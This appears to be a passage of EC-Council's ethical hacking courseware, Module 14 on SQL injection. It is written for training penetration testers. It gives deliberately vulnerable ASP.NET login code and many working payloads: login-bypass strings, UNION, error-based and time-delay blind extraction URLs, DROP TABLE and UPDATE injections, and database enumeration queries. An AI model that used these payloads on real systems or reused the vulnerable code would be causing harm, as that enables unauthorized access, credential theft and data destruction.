SQL Injection

Module 14

Engineered by Hackers. Presented by Professionals.
100,000 Credit Cards Compromised By Data Breach

A data breach affecting Twin America, the parent company of CitySights NY, potentially compromised an estimated 100,000 customers' personal details, including credit card numbers.

According to a security breach notification letter sent to the New Hampshire attorney general, as required by that state's laws, attackers successfully exploited a Twin America Web server by using a SQL injection attack.

The letter, written by Twin America's lawyer, Theodore Augustinos, said that Twin America first suspected its systems had been breached in late October, "when a Web programmer discovered [an] unauthorized script that appears to have been uploaded to the company's Web server." The script appeared to have been actively siphoning off sensitive information from a database stored on the server for about four weeks before being discovered.

According to the letter, dated Dec. 9, "the database contained cardholder name, address, e-mail address, credit card number, expiration date, and CVV2 information. Given that the tour operator had to issue a data breach notification, it appears that the information wasn't encrypted, as that typically exempts an organization from having to issue a data breach notification.

http://www.infoartiowweek.com
Module Objectives

Introduction to SQL Injection
Threats of SQL Injection Attacks
Examples of SQL Injection Query
SQL Injection Detection
SQL Injection Error Messages
SQL Injection Black Box Pen Testing
Types of SQL Injection
Simple SQL Injection Attack
Union SQL Injection

Error-based SQL Injection
What is Blind SQL injection?
Blind SQL Injection Exploitations
SQL Injection Methodology
Advanced SQL Injection
SQL Injection Tools
Signature Evasion Techniques
How to Defend Against SQL Injection?
SQL Injection Detection Tools
SQL Injection is the most common Website vulnerability on the Internet.

It is a flaw in **Web Applications** and not a Database or Web server issue.

Most programmers are still not aware of this threat.
Albert Gonzalez, an indicted hacker stole **130 million credit and debit cards**, the biggest identity theft case ever prosecuted in the United States. He used **SQL injection attacks** to install sniffer software on the companies' servers to **intercept** credit card data as it was being processed.
SQL Injection is the Most Prevalent Vulnerability in 2010

- SQL Injection: 80%
- Cross Site Scripting: 60%
- Information Leakage: 50%
- Directory Traversal: 45%
- Insufficient Authentication: 40%
What is SQL Injection?

SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database.

SQL injection is a basic attack used to either gain unauthorized access to a database or to retrieve information directly from the database.
Based on the application and how it processes user-supplied data, SQL Injection can be used to perform the following types of attacks:

**Authentication Bypass:** Using this attack, an attacker logs on to an application without providing valid username and password and gains administrative privileges.

**Information Disclosure:** Using this attack, an attacker obtains sensitive information that is stored in the database.

**Compromised Data Integrity:** An attacker uses this attack to deface a web page, insert malicious content into web pages, or alter the contents of a database.

**Compromised Availability of Data:** Attackers use this attack to delete the database information, delete log, or audit information that is contained in a database.

**Remote Code Execution:** It allows an attacker to compromise the host operating system.
How Web Applications Work?

User -> Login Form -> Internet -> Firewall -> Web Server

Operating System -> OS System Calls -> DBMS -> Web Application

SELECT * from news where id = 6329

ID | Topic | News
---|-------|-----
6329 | Tech  | CNN
Server Side Technologies

Powerful server-side technologies like ASP.NET and database servers allow developers to create dynamic, data-driven Web sites with incredible ease.

The power of ASP.NET and SQL can easily be exploited by hackers using SQL injection attacks.

SQL injection attacks do not exploit a specific software vulnerability, instead target Web sites that do not follow secure coding practices for accessing and manipulating data stored in a relational database.

All relational databases SQL Server, Oracle, IBM DB2, and MySQL are susceptible to SQL-injection attacks.
HTTP Post Request

When a user provides information and clicks submit, the browser submits a string to the web server that contains the user's credentials. This string is visible in the body of the HTTP or HTTPS POST request as:

**SQL query at the database**

```
select * from Users where (username = 'bart' and password = 'simpson');
```

```html
<form action="/cgi-bin/login" method=post>
  Username: <input type=text name=username>
  Password: <input type=password name=password>
  <input type=submit value=Login>
</form>
```
**Example 1: Normal SQL Query**

**Web Browser**

**Constructed SQL Query**

```
SELECT Count(*) FROM Users WHERE UserName='Jason' AND Password='Springfield'
```

**Server Side Code (BadLogin.aspx)**

```
private void cmdLogin_Click(object sender, System.EventArgs e)
{
    string strCnx =
        "server=\nlocalhost;database=northwind;uid=sa;pwd=;"
    SqlConnection cnx = new SqlConnection(strCnx);
    cnx.Open();

    //This code is susceptible to SQL injection attacks.
    string strQry = "SELECT Count(*) FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";

    int intRecs;
    SqlCommand cmd = new SqlCommand(strQry, cnx);
    intRecs = (int) cmd.ExecuteScalar();
    if (intRecs>0) {
        FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false);
    } else {
        lblMsg.Text = "Login attempt failed."
    }
    cnx.Close();
}
```
Example 1: SQL Injection Query

```
SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1--' AND Password='Springfield'
```

Code after `--` are comments

SQL Query Executed

Attacker Launching SQL Injection

http://juggyboy.com/BadLogin.aspx
Example 1: Code Analysis

- A user enters a user name and password that matches a record in the Users table.
- A dynamically generated SQL query is used to retrieve the number of matching rows.
- The user is then authenticated and redirected to the requested page.

When the attacker enters 'blah' or '1=1' -- then the SQL query will look like:

```
SELECT Count(*) FROM Users WHERE UserName='blah' Or 1=1 -- '
AND Password=''
```

Because a pair of hyphens designate the beginning of a comment in SQL, the query simply becomes:

```
SELECT Count(*) FROM Users WHERE UserName='blah' Or 1=1
```

```csharp
string strQuery = "SELECT Count(*) FROM Users WHERE UserName="" + txtUser.Text + ";' AND Password="" + txtPassword.Text + ";";
```
Example 2: BadProductList.aspx

This page displays products from the Northwind database and allows users to **filter** the resulting list of products using a textbox called **txtFilter**.

Like the previous example (BadLogin.aspx), this code is vulnerable to SQL injection attacks.

The executed SQL is constructed **dynamically** from a user supplied input.

```csharp
private void cmdFilter_Click(object sender, System.EventArgs e) {
    dgvProducts.CurrentPageIndex = 0;
    bindDataGrid();
}

private void bindDataGrid() {
    dgvProducts.DataSource = createDataView();
    dgvProducts.DataBind();
}

private DataView createDataView() {
    string strCnx =
        "server=localhost;uid=sa;pwd=;database=northwind;";
    string strSql = "SELECT ProductId, ProductName, " +
    "QuantityPerUnit, UnitPrice FROM Products";

    // This code is susceptible to SQL injection attacks.
    if (txtFilter.Text.Length > 0) {
        strSql += " WHERE ProductName LIKE '' + txtFilter.Text + ''; ";
    }

    SqlConnection cnx = new SqlConnection(strCnx);
    SqlDataAdapter sda = new SqlDataAdapter(strSql, cnx);
    DataTable dtProducts = new DataTable();
    sda.Fill(dtProducts);
    return dtProducts.DefaultView;
}
Example 2: Attack Analysis

SQL Query Executed

```
SELECT ProductId, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE ProductName LIKE 'blah' UNION Select 0, username, password 0 from users --
```
Example 3: Updating Table

Attacker Launching SQL Injection

blah'; UPDATE jb-customers SET jb-email = 'info@juggyboy.com' WHERE email = 'jason@springfield.com'; --

SQL Injection Vulnerable Website

Forgot Password

Email Address

Your password will be sent to your registered email address

SQL Query Executed

SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members
WHERE jb-email = 'blah'; UPDATE jb-customers SET jb-email = 'info@juggyboy.com' WHERE email = 'jason@springfield.com'; --
Example 4: Adding New Records

Attacker Launching SQL Injection

```sql
'blah'; INSERT INTO jb-customers ('jb-email','jb-passwd','jb-login_id','jb-last_name') VALUES ('jason@springfield.com','hello','jason','jason springfield');--
```

SQL Injection Vulnerable Website

**Forgot Password**

Email Address

Your password will be sent to your registered email address

SQL Query Executed

```sql
SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members
WHERE email = 'blah'; INSERT INTO jb-customers ('jb-email','jb-passwd','jb-login_id','jb-last_name') VALUES ('jason@springfield.com','hello','jason', jason springfield');--'
```
Example 5: Identifying the Table Name

Attacker Launching SQL Injection

```
blah' AND 1=(SELECT COUNT(*) FROM mytable); --
```

You will need to guess table names here

SQL Injection Vulnerable Website

SQL Query Executed

```
SELECT jb-email, jb-password, jb-login_id, jb-last_name FROM table WHERE jb-email = 'blah' AND 1=(SELECT COUNT(*) FROM mytable); --';
```
Example 6: Deleting a Table

Attacker Launching SQL Injection

```sql
'blah'; DROP TABLE Creditcard; --
```

SQL Injection Vulnerable Website

**Forgot Password**

- Email Address

Your password will be sent to your registered email address

---

**SQL Query Executed**

```sql
SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members
WHERE jb-email = 'blah'; DROP TABLE Creditcard; --';
```
**SQL Injection Detection**

**STEP 1:** Check if the web application connects to a Database Server in order to access some data.

**STEP 2:** List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query.

**STEP 3:** Attempt to inject codes into the input fields to generate an error.

**STEP 4:** Try to insert a string value where a number is expected in the input field.

**STEP 5:** The UNION operator is used in SQL injections to join a query to the original query.

**STEP 6:** Detailed error messages provide a wealth of information to an attacker in order to execute SQL injection.
SQL Injection Error Messages

Attempt to inject codes into the input fields to generate an error:
- a single quote ('), a semicolon (;), comments (--), AND, and OR

Try to insert a string value where a number is expected in the input field.

Microsoft OLE DB Provider for ODBC Drivers
error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]
Unclosed quotation mark before the character string ''. /shopping/buy.aspx, line 52

Microsoft OLE DB Provider for ODBC Drivers
error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the varchar value 'test' to a column of data type int. /visa/credit.aspx, line 17

If applications do not provide detailed error messages and return a simple '500 Server Error' or a custom error page then attempt blind injection techniques.
SQL Injection Attack Characters

<table>
<thead>
<tr>
<th>' or &quot;</th>
<th>Character String Indicators</th>
</tr>
</thead>
<tbody>
<tr>
<td>-- or #</td>
<td>Single-line comment</td>
</tr>
<tr>
<td>/* */</td>
<td>Multiple-line comment</td>
</tr>
<tr>
<td>+</td>
<td>Addition, concatenate (or space in url)</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>%</td>
<td>Wildcard attribute indicator</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>?Param1=foo&amp;Param2=bar</th>
<th>URL Parameters</th>
</tr>
</thead>
<tbody>
<tr>
<td>PRINT</td>
<td>Useful as non transactional command</td>
</tr>
<tr>
<td>@variable</td>
<td>Local variable</td>
</tr>
<tr>
<td>@variable</td>
<td>Global variable</td>
</tr>
<tr>
<td>waitfor delay '0:0:10'</td>
<td>Time delay</td>
</tr>
<tr>
<td>@version</td>
<td>Displays SQL server version</td>
</tr>
</tbody>
</table>
Additional Methods to Detect SQL Injection

**Function Testing**
- This testing falls within the scope of black box testing and as such, should require no knowledge of the inner design of the code or logic.

**Fuzzing Testing**
- It is SQL injection testing technique used to discover coding errors by inputting massive amount of data to crash web application.

**Static/Dynamic Testing**

**Example of Function Testing**
- http://juggyboy/?parameter=123
- http://juggyboy/?parameter=1'
- http://juggyboy/?parameter=1''
- http://juggyboy/?parameter=1 AND 1=1--
- http://juggyboy/?parameter=1--
- http://juggyboy/?parameter=1 AND 1=2--
- http://juggyboy/?parameter=1''/*
- http://juggyboy/?parameter=1' AND '1='1
- http://juggyboy/?parameter=1 order by 1000
Detecting SQL Injection Issues

- Send single quotes as the input data to catch instances where the user input is not sanitized.
- Send double quotes as the input data to catch instances where the user input is not sanitized.

Detecting Input Sanitization

- Use right square bracket (the ] character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitization.

Detecting SQL Modification

- Send long strings of single quote characters (or right square brackets or double quotes). These max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statement.

Detecting Truncation Issues

- Send long strings of junk data, just as you would send strings to detect buffer overruns; this action might throw SQL errors on the page.
Types of SQL Injection

- Simple SQL Injection
- Blind SQL Injection
- UNION SQL Injection
- Error Based SQL Injection
Simple SQL Injection Attack

System Stored Procedure
Attackers exploit databases' stored procedures to perpetrate their attacks

Union Query
“UNION SELECT” statement returns the union of the intended dataset with the target dataset

```
SELECT Name, Phone, Address
FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
```

End of Line Comment
After injecting code into a particular field, legitimate code that follows is nullified through usage of end of line comments

```
SELECT * FROM user WHERE name = 'x' AND userid IS NULL; --
```

Tautology
Injecting statements that are always true so that queries always return results upon evaluation of a WHERE condition

```
SELECT * FROM users WHERE name = '' OR '1'=1;
```

Illegal/Logically Incorrect Query
An attacker may gain knowledge by injecting illegal/logically incorrect requests such as injectable parameters, data types, names of tables, etc.
Union SQL Injection Example

Union SQL Injection - Extract Database Name
http://juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1, DB_NAME, 3, 4--

[DB_NAME] Returned from the server

Union SQL Injection - Extract Database Tables
http://juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1, name, 3, 4 from sysobjects where xtype=char(85)--

[EMPLOYEE_TABLE] Returned from the server
Union SQL Injection Example

Union SQL Injection - Extract Table Column Names

http://juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1, column_name, 3, 4 FROM DB_NAME.information_schema.columns WHERE table_name = 'EMPLOYEE_TABLE' --
[EMPLOYEE_NAME]

Extract 1st Field Data

http://juggyboy.com/page.aspx?id=1 UNION SELECT ALL 1, COLUMN_NAME=1, 3, 4 FROM EMPLOYEE_NAME --
[FIELD 1 VALUE] Returned from the server
SQL Injection Error Based

**Extract Database Name**

http://juggboy.com/page.aspx?id=1 or 1=convert(int,(DB_NAME))--

Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int.

**Extract 1st Database Table**

http://juggboy.com/page.aspx?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))--

Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.

**Extract 1st Table Column Name**

http://juggboy.com/page.aspx?id=1 or 1=convert(int, (select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))--

Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.

**Extract 1st Field Of 1st Row (Data)**

http://juggboy.com/page.aspx?id=1 or 1=convert(int, (select top 1 COLUMN-NAME-1 from TABLE-NAME-1))--

Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.
Module Flow

SQL Injection Concepts
Testing for SQL Injection
Types of SQL Injection
Blind SQL Injection
Advanced SQL Injection
SQL Injection Tools
Evasion Techniques
Countermeasures

SYBASE
MySQL
ORACLE
Microsoft SQL Server
What is **Blind SQL Injection**?

**No Error Message**

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker.

**Generic Page**

Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application rather than seeing a useful error message, a generic custom page is displayed.

**Time-intensive**

This type of attack can become time-intensive because a new statement must be crafted for each bit recovered.

An attacker can still steal data by asking a series of True and False questions through SQL statements.
No Error Messages Returned

SQL Injection Attack

JuggyBoy'; drop table Orders --

Blind SQL Injection (Attack Successful)

Oops!

We are unable to process your request. Please try back later.

Simple SQL Injection

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' '.
/shopping/buy.aspx, line 52
Blind SQL Injection: **WAITFOR DELAY**

**YES or NO Response**

```sql
; IF EXISTS(SELECT * FROM creditcard)
WAITFOR DELAY '0:0:10'
```

Check if database "creditcard" exists or not

Since no error messages are returned, use `waitfor delay` command to check the SQL execution status.

**WAIT FOR DELAY 'time'** (Seconds)
- This is just like sleep, wait for specified time.
- CPU safe way to make database wait.

```sql
WAITFOR DELAY '0:0:10'
```

**BENCHMARK()** (Minutes)
- This command runs on MySQL server.
- `BENCHMARK(howmanytimes, do this)`

**Oops!**
- We are unable to process your request. Please try back later.

**Oops!**
- We are unable to process your request. Please try back later.
Blind SQL Injection – Exploitation (MySQL)

Searching for the first character of the first table entry
```
/*id=1+AND+555=if(ord(mid((select+pass+from
users+limit+0,1),1,1))=97,555,777)
```

Searching for the second character of the first table entry
```
/*id=1+AND+555=if(ord(mid((select+pass
from+users+limit+0,1),2,1))=97,555,777)
```

If the table “users” contains a column “pass” and the first character of the first entry in this column is 97 (letter “a”), then DBMS will return TRUE; otherwise, FALSE.

If the table “users” contains a column “pass” and the second character of the first entry in this column is 97 (letter “a”), then DBMS will return TRUE; otherwise, FALSE.
Blind SQL Injection - Extract Database User

Finding a full username of 8 characters using binary search method takes 56 requests

Check for username length

http://juggyboy.com/page.aspx?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--

Check if 1st character in username contains 'a' (a=97), 'b', or 'c' etc.

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--

Check if 2nd character in username contains 'a' (a=97), 'b', or 'c' etc.

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),2,1)))=97) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),2,1)))=99) WAITFOR DELAY '00:00:10'--

Check if 3rd character in username contains 'a' (a=97), 'b', or 'c' etc.

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),3,1)))=97) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),3,1)))=98) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),3,1)))=99) WAITFOR DELAY '00:00:10'--
**Blind SQL Injection - Extract Database Name**

**Check for Database Name Length and Name**

http://juggyboy.com/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=97) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),2,1)))=98) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),3,1)))=99) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),4,1)))=100) WAITFOR DELAY '00:00:10'--

Database Name = ABCD

**Extract 1st Database Table**

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype='U')=3) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=101) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),2,1)))=109) WAITFOR DELAY '00:00:10'--

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),3,1)))=112) WAITFOR DELAY '00:00:10'--

Table Name = EMP
Blind SQL Injection - Extract Column Name

Extract 1st Table Column Name

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP')=3) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP'),1,1)))=101) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP'),2,1)))=105) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP'),3,1)))=100) WAITFOR DELAY '00:00:10'--

Column Name = EID

Extract 2nd Table Column Name

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP' and column_name>'EID')=4) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),1,1)))=100) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),2,1)))=101) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),3,1)))=101) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name FROM ABCD.information_schema.columns where table_name='EMP' and column_name>'EID'),4,1)))=116) WAITFOR DELAY '00:00:10'--

Column Name = DEPT
Blind SQL Injection - Extract Data from ROWS

Extract 1st Field of 1st Row

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 EID from EMP)=3) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 EID from EMP),1,1))=106) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 EID from EMP),2,1))=111) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 EID from EMP),3,1))=101) WAITFOR DELAY '00:00:10'--

Field Data = JOE

Extract 2nd Field of 1st Row

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 DEPT from EMP)=4) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),1,1))=100) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),2,1))=111) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),3,1))=109) WAITFOR DELAY '00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(substring((SELECT TOP 1 DEPT from EMP),3,1))=112) WAITFOR DELAY '00:00:10'--

Field Data = COMP
Module Flow

- SQL Injection Concepts
- Testing for SQL Injection
- Types of SQL Injection
- Blind SQL Injection
- SQL Injection Methodology
- Advanced SQL Injection
- SQL Injection Tools
- Evasion Techniques
- Countermeasures
SQL Injection Methodology

1. Information Gathering
2. SQL Injection Vulnerability Detection
3. Launch SQL Injection Attacks
4. Extract the Data
5. Interact with the Operation System
6. Compromise the Network
SQL Injection Methodology

**Information Gathering**
- Extract DB name, version, users, output mechanism, DB type, user privilege level, and OS interaction level

**SQL Injection Vulnerability Detection**
- List all input fields, hidden fields, and post requests
- Attempt to inject codes into the input fields to generate an error
- Enter (') , (;) , (--), AND, and OR in input field
  - An error page means vulnerable

**SQL Injection Methodology**

**Perform blind (Waitfor Delay) SQL injection**

**Perform error based SQL injection**

**Perform union based SQL injection**

**Launch SQL Injection Attacks**

**Compromise the Network**
- Penetrate additional machines on the network, install Trojans and plant keyloggers

**Interact with the OS**
- Extract OS and application passwords
- Access system files and execute commands

**Extract the Data**
- Extract table names, column name, and table data

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Information Gathering

Error messages are essential for extracting information from the database. Depending on the type of errors found, you can vary the attack techniques.

Understanding the underlying SQL query will allow the attacker to craft correct SQL injection statements.

---

**Database Types**
Different databases require different SQL syntax. Identify the database engine used by the server.

**Privilege Level**
Identify the privilege level used by the database. Are you logged on as user, DBA, or sysadmin?

**OS Interaction**
Interacting with the operating system through command shell execution allows you to compromise the entire network.
Extracting Information through Error Messages

Grouping Error
- HAVING command allows to further define a query based on the “grouped” fields
- The error message will tell us which columns have not been grouped
- ' group by columnnames having 1=1 --

Type Mismatch
- Try to insert strings into numeric fields; the error messages will show the data that could not get converted
- ' union select 1,1,'text',1,1,1 --
- ' union select 1,1, bigint,1,1,1 --

Blind Injection
- Use time delays or error signatures to determine extract information
- '; if condition waitfor delay '0:0:5' --
- '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1;
Understanding SQL Query

Injections

Most injections will land in the middle of a SELECT statement. In a SELECT clause we almost always end up in the WHERE section.

Select Statement

```
SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x
```

Determining Database Engine Type

- Mostly the error messages will show you what DB engine you are working with
- ODBC errors will display database type as part of the driver information
- If you do not receive any ODBC error message, make an educated guess based on the Operating System and Web Server

Determining a SELECT Query Structure

- Try to replicate an error free navigation
- Could be as simple as `' and '1' = '1 Or ' and '1' = '2
- Generate specific errors
- Determine table and column names group by columnnames having 1=1 -- Do we need parenthesis? Is it a subquery?
Bypass Website Logins Using SQL Injection

Try these at website login forms:

```
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
```

Login as different User:

```
' UNION SELECT 1,
'anotheruser',
'doesn't matter', 1--
```

Bypassing MD5 Hash Check Example

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

MD5 Hash Password
You can union results with a known password and MD5 hash of supplied password
The Web Application will compare your password and the supplied MD5 hash instead of
MD5 from the database
**Database, Table, and Column Enumeration**

1. **Identify User Level Privilege**
   - There are several SQL built-in scalar functions that will work in most SQL implementations:
     - `user` or `current_user`, `session_user`, `system_user`
     - `and 1 in (select user) --`
     - `if user = 'dbo' waitfor delay '0:0:0.5' --`
     - `union select if(user() like 'root@%', benchmark(50000, sha1('test')), 'false');`

2. **DB Administrators**
   - Default administrator accounts include `sa`, `system`, `sys`, `dba`, `admin`, `root` and many others.
   - The `dbo` is a user that has implied permissions to perform all activities in the database.
   - Any object created by any member of the `sysadmin` fixed server role belongs to `dbo` automatically.

3. **Discover DB Structure**
   - **Determine table and column names**
     - `group by columnnames having 1=1 --`
   - **Discover column name types**
     - `union select sum(columnname) from tablename --`
   - **Enumerate user defined tables**
     - `and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --`

4. **Column Enumeration in DB**
   - **MS SQL**
     - `SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename') SP_columns tablename`
   - **MySQL**
     - `show columns from tablename`
   - **Oracle**
     - `SELECT * FROM all_tab_columns WHERE table_name='tablename'`
   - **DB2**
     - `SELECT * FROM syscat.columns WHERE tabname = 'tablename'`
   - **Postgres**
     - `SELECT attnum, attname FROM pg_class, pg_attribute WHERE relname = 'tablename' AND pg_class.oid=attrelid AND attnum > 0`
**Advanced Enumeration**

### Oracle
- SYS.USER_OBJECTS
- SYS.TAB, SYS.USER_TABLES
- SYS.USER_VIEWS
- SYS.ALL_TABLES
- SYS.USER_TAB_COLUMNS
- SYS.USER_CATALOG

### MS Access
- MsysACEs
- MsysObjects
- MsysQueries
- MsysRelationships

### MySQL
- mysql.user
- mysql.host
- mysql.db

### MS SQL Server
- sysobjects
- syscolumns
- systypes
- sysdatabases

---

**Tables and columns enumeration in one query**

```
" union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, 'l', 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --
```

---

**Different databases in Server**

```
" and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --
```

**File location of databases**

```
" and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --
```

---

*Copyright © by EC-Council*

All Rights Reserved. Reproduction is Strictly Prohibited.*
## Features of Different DBMSs

<table>
<thead>
<tr>
<th></th>
<th>MySQL</th>
<th>MSSQL</th>
<th>MS Access</th>
<th>Oracle</th>
<th>DB2</th>
<th>PostgreSQL</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>String Concatenation</strong></td>
<td><code>concat()</code></td>
<td><code>' ' </code></td>
<td>''</td>
<td>''</td>
<td>''</td>
<td>''</td>
</tr>
<tr>
<td></td>
<td><code>concat_ws(delim)</code></td>
<td><code>'&amp;' </code></td>
<td>''</td>
<td>''</td>
<td>''</td>
<td>''</td>
</tr>
<tr>
<td><strong>Comments</strong></td>
<td><code>-- and /* */</code></td>
<td><code>-- and /*</code></td>
<td>No</td>
<td><code>-- and /*</code></td>
<td><code>--</code></td>
<td><code>-- and /*</code></td>
</tr>
<tr>
<td><strong>Request Union</strong></td>
<td><code>union</code></td>
<td><code>union and ;</code></td>
<td><code>union</code></td>
<td><code>union</code></td>
<td><code>union</code></td>
<td><code>union and ;</code></td>
</tr>
<tr>
<td><strong>Sub-requests</strong></td>
<td>v.4.1 &gt;=</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Stored Procedures</strong></td>
<td>No</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Availability of information_schema or its Analogs</strong></td>
<td>v.5.0 &gt;=</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

**Example (MySQL):** 
`SELECT * from table where id = 1 union select 1,2,3`

**Example (PostgreSQL):** 
`SELECT * from table where id = 1; select 1,2,3`

**Example (Oracle):** 
